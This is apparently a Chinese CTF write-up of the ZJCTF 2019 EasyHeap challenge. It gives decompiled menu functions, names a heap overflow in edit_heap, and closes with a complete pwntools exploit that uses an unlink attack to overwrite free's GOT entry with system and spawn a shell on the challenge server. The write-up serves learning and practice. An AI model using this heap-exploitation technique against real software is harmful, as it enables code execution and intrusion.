ZJCTF 2019 EasyHeap
# ZJCTF 2019 EasyHeap
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/ZJCTF_2019_EasyHeap/easyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [rsp+0h] [rbp-10h]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
v3 = atoi(&buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
backdoor();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
create_heap函数如下:
unsigned __int64 create_heap()
{
signed int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:", &buf);
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
edit_heap函数如下:
unsigned __int64 edit_heap()
{
size_t v0; // ST08_8
int v2; // [rsp+4h] [rbp-1Ch]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v2 = atoi(&buf);
if ( v2 < 0 || v2 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v2] )
{
printf("Size of Heap : ", &buf);
read(0, &buf, 8uLL);
v0 = atoi(&buf);
printf("Content of heap : ", &buf);
read_input(heaparray[v2], v0);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
delete_heap函数如下:
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
backdoor函数如下:
int backdoor()
{
return system("cat /home/pwn/flag");
}
1
2
3
4
2
3
4
# 思路分析
目前信息:
edit_heap
函数存在堆溢出- Partial RELRO
- Canary found
- NX enabled
- No PIE
思路:
- 构造
fake chunk
利用堆溢出unlink
实现任意地址读写,将free
的got
改为system
地址,free
掉/bin/sh
即可获得shell
- 构造
# exp
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/ZJCTF_2019_EasyHeap/easyheap'
io = remote('node4.buuoj.cn', 29235)
# io = process(pwnfile)
def Create(io, size, content):
io.sendlineafter("Your choice :", '1')
io.sendlineafter("Size of Heap : ", str(size))
io.sendlineafter("Content of heap:", content)
def Edit(io, index, content):
io.sendlineafter("Your choice :", '2')
io.sendlineafter("Index :", str(index))
io.sendlineafter("Size of Heap : ", str(len(content)))
io.sendlineafter("Content of heap : ", content)
def Delete(io, index):
io.sendlineafter('Your choice :', '3')
io.sendlineafter('Index :', str(index))
Create(io, 0x20, 'aaaa') # 0
Create(io, 0x80, 'bbbb') # 1
Create(io, 0x20, '/bin/sh\x00') # 2
P = 0x6020e0 # fake chunk指针P
Edit(io, 0, flat([0, 0x21, P-0x18, P-0x10, 0x20, 0x90])) # 构造fake chunk
Delete(io, 1) # unlink
elf = ELF(pwnfile)
free_got = elf.got['free']
system_plt = elf.plt['system']
Edit(io, 0, flat([0, 0, 0, free_got]))
Edit(io, 0, flat([system_plt]))
Delete(io, 2)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
上次更新: 2022/08/15, 00:29:49